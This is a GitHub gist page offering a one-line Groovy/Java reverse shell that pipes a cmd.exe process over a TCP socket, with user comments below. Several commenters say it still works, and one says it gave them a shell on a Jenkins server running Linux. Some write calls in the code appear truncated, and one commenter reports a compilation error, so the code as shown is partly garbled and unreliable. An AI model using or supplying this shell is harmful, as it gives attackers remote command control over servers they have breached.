Skip to content

Instantly share code, notes, and snippets.

Created March 2, 2016 18:55
Star You must be signed in to star a gist
What would you like to do?
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copy link

Very Nice!

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Copy link

zinzloun commented Jun 4, 2020

Well done!

Copy link

Thanks Man

Copy link

elnazkm commented Feb 3, 2021

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

Copy link

buenisima si señor :)

Copy link

thank you sir.

Copy link

Very nice, thank you!

Copy link

Still working! Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment